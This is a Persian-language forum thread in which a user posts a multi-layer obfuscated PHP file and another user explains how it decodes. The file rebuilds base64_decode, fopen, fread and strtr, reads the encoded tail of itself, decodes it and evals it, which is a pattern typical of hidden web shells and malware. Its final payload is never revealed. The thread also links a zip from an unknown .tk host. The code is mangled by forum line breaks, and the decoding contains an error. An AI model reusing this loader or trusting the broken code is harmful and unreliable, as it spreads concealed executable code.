کسی میتونه اینو برام دیکد کنه؟

[salam20]

<?php /* */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72% 61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000 000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13} .$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO00 0000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000 000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000 000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO00 0000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0 000=0x124;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9P TzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE 8wMDBPME8wMCwweDUzOSk7JE9PMDBPMDBPMD0kR0xPQkFMU1sn T09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE 9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwn RW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTG xNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZH SElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3Bxcn N0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBP MCk7'));return;?>InvernCUkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb1 8mRtwmwJ4LT09NHr8XTzEXRJwmwJXLO0xNWLyHA1SmT09NHeEX Hr8Xk10PkrfHT0knTyYdk09NTzEXHeEXTZffhtOuTr9tWAxTBZ fNHr8XHr9NHeEmbUILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfy dmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr 1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfw UApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3 O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8X TzEXhTslfMyShtONTzEXTzEXTzEpKX==wEpLcBcpdMaLhtfgUL aCOAHmhUnvFJnLDBA7tmklFbapFMagd25jcUImD2iMfo0vcmki dBa3d3kqR2sPRMYvdmY0RmnPFtFpKXpZcby1Dbklb29VC2APk2 sPcmOsR2cZCB1lf29ZDZ9qDt5XCbkzcbwVFoiXkZL7tmklFbap FMagd25jcUImD2iMfo0vD2IVcmkidBa3d3kqRmnPFtFpKXPLfu nSwe0IdMa3wrswaoasFoxifoAPkuOPDbHSkrswb1OyTanHWaOy b01NOyaHOa9TaylHOaHpKX==bb[rVc@Mn`

[folletto]

با پرداخت هزینه دیکد میشه
خواستید پخ بدید : )

[kb667]

یه فایل مستقل پی اچ پی بود که در چندین لایه کد شده بود

متغییرها در سطح اولیه اینطور بدست اومدند:

$GLOBALS['OOO0000O0']='base64_decode';$GLOBALS['OOO000O00']='fopen';$GLOBALS['O0O000O00']='fgeds';$GLOBALS['O0O00OO00']='fread';$GLOBALS['OOO00000O']='strtr';$OOO0O0O00=__FILE__;$OO00O0000=444;
$O000O0O00=$GLOBALS['OOO000O00']($OOO0O0O00,'rb');$GLOBALS['O0O00OO00']($O000O0O00,0x539);$OO00O00O0=$GLOBALS['OOO0000O0']($GLOBALS['OOO00000O']($GLOBALS['O0O00OO00']($O000O0O00,0x1a8),'EnteryouwkhRHYKNWOUTAaBbCcDdFf GgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst uvwxyz0123456789+/'));eval($OO00O00O0);



و در سطح نهایی این رو داریم :



<?php$QQ=fopen(__FILE__,'rb');fread($QQ,2471);$WW=b ase64_decode(strtr(fread($QQ,650),'EnteryouwkhRHYK NWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/=','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrst uvwxyz0123456789+/'));eval($WW);?>InvernCUkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb1 8mRtwmwJ4LT09NHr8XTzEXRJwmwJXLO0xNWLyHA1SmT09NHeEX Hr8Xk10PkrfHT0knTyYdk09NTzEXHeEXTZffhtOuTr9tWAxTBZ fNHr8XHr9NHeEmbUILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfy dmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr 1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfw UApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3 O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8X TzEXhTslfMyShtONTzEXTzEXTzEpKX==wEpLcBcpdMaLhtfgUL aCOAHmhUnvFJnLDBA7tmklFbapFMagd25jcUImD2iMfo0vcmki dBa3d3kqR2sPRMYvdmY0RmnPFtFpKXpZcby1Dbklb29VC2APk2 sPcmOsR2cZCB1lf29ZDZ9qDt5XCbkzcbwVFoiXkZL7tmklFbap FMagd25jcUImD2iMfo0vD2IVcmkidBa3d3kqRmnPFtFpKXPLfu nSwe0IdMa3wrswaoasFoxifoAPkuOPDbHSkrswb1OyTanHWaOy b01NOyaHOa9TaylHOaHpKX==bb[rVc@Mn`

اینطور که از ظاهر قضیه پیداست ، همین فایل پی اچ پی رو ، اون حروف رمز شده رو از انتهای متن میخونه ،
بعد از جای گذاری ، تحت مبنای64 استخراج میکنه و اجرا میکنه

این سایت دستورات تغییر میده و بخوبی نمایش نمیده ، فایل مربوطه از آدرس زیر قابل دانلود است :
http://z.b01t.tk/86882.zip

موفق باشی a d m i n @ k i 5 5 . i r